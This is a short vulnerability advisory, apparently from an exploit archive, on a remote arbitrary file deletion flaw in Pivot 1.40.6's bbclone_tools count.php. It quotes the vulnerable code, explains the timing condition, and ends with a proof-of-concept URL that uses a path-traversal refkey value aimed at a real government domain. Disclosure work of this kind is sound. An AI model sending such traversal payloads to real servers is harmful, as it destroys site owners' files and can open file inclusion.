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Pivot 1.40.6 Remote Arbitrary File Deletion Vulnerability
========================================================= Pivot 1.40.6 Remote Arbitrary File Deletion Vulnerability ========================================================= Pivot 1.40.6 Remote File Delete Alfons Luja Vuln : extensions/bbclone_tools/hr_conf.php line 20 ... $bbclone_debug = false; //is never change ... ========================================================= extensions/bbclone_tools/count.php ... if ( ($_GET["refkey"]!="") && file_exists("$refkeydir/".$_GET["refkey"])) { [1] if ($bbclone_debug==true) { echo "Refkey found..<br />"; } // Getting the time offset between the web and file server (if there is any) $offset = timediffwebfile($bbclone_debug); if ((time() - filectime("$refkeydir/".$_GET["refkey"])) < (1000+$offset)) { [2] include("do_count.php"); if ($bbclone_debug!=true) { header("content-type:image/gif"); readfile("pixel.gif"); } else { echo "Counted normally"; } die(); } else if ($bbclone_debug==true) { echo "too old!"; } if ($bbclone_debug!=true) { [3] unlink("$refkeydir/".$_GET["refkey"]); } } ... 1] . We can put existent file 2] . Time dependences If current time - last modification time < 1000 + $offset (usually 1001,1002 not more) We must wait a moment other way 'exploit dosent work' 3] . $bbclone_debug is always false so if condition from point [2] == false We can delete some file If register globals is ON we can using this bug to include some file poc : http://www.pentagon.gov/~pivot_1406_full/extensions/bbclone_tools/count.php?refkey=../../../extensions/bbclone_tools/hr_conf.php # 0day.today [2024-07-08] #